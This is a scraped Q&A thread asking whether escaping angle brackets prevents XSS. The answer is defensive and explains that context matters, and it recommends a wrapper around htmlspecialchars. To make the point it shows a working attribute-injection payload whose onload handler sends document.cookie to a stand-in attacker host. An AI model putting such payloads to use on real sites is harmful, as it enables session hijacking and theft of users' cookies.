Is replacing : < and> with < and> enough to prevent XSS injection?

后端 未结 2 1700
耶瑟儿~
耶瑟儿~ 2020-12-09 18:30

I want to know if entiting the two marks < and > is enough to prevent XSS injections?

And if not, why? And what\'s the best solution?

2条回答
  •  伪装坚强ぢ
    2020-12-09 19:02

    It depends very much on context.

    Check out this example, from a typical forum site...

    You may hotlink your avatar image. Enter the full URL.

    Malicious user enters in input field

    http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 
    

    There is no encoding there of less than and greater than, but still a big security hole.

    With htmlspecialchars(), I found it a good idea to make (or use) a wrapper function of it that casts to a string, provides an easier way to disable double encoding (if necessary) and to ensure it is using the correct character set of your application. Kohana has a great example.

提交回复
热议问题